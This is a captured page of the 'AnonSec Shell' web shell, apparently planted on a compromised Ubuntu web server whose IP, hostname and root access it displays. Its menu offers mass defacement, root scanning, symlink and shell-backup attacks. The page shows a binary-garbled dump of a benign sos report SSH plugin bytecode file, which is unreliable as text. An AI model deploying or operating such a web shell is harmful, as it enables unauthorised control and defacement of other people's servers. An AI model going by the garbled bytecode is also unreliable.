AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/ssh.cpython-310.pyc
o

���b��@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�IndependentPluginc@s0eZdZdZdZdZdd�Zdd�Zdd	�Zd
S)�SshzSecure shell service�ssh)�services�security�system�identitycCs8|�ddd��ddg}|�|�|�|�|��dS)N�sshd_config�
ssh_config)�/etc/ssh/sshd_config�/etc/ssh/ssh_configr
r)�
add_file_tags�
add_copy_spec�included_configs�user_ssh_files_permissions)�self�sshcfgs�r�8/usr/lib/python3/dist-packages/sos/report/plugins/ssh.py�setups��

z	Ssh.setupc	Cs�zN|D]H}|�d�d}t|�|�d��/}|D]$}t|���dks&|�d�r'q|���d�r;|��}|j|d|d�qWd�n1sFwYqWdStyXYdSw)	N�/����rr�#�include�)�tags)�split�open�	path_join�len�
startswith�lowerr�	Exception)rr�sshcfg�tag�cfgfile�line�confargrrrr's$������zSsh.included_configsc	Cs�|�d�}|dr6zt|�d���}|��}Wd�n1s wYWnty5|�d�YdSw|d��}|D]%}z|�|�d�dd	�}|�|�rY|�	d
�
|��Wq>tycYq>wdS)z�
        Iterate over .ssh folders in user homes to see their permissions.

        Bad permissions can prevent SSH from allowing access to given user.
        z
getent passwd�statusz/etc/passwdNzCouldn't read /etc/passwd�output�:�z.sshz
ls -laZ {})�exec_cmdrr �	readlinesr$�
_log_error�
splitlinesr�
path_isdir�add_cmd_output�format�
IndexError)r�
users_data�passwd_file�users_data_lines�usr_line�home_dirrrrr8s,

��
�
���zSsh.user_ssh_files_permissionsN)	�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesrrrrrrrrsrN)�sos.report.pluginsrrrrrrr�<module>s


Anon7 - 2022
AnonSec Team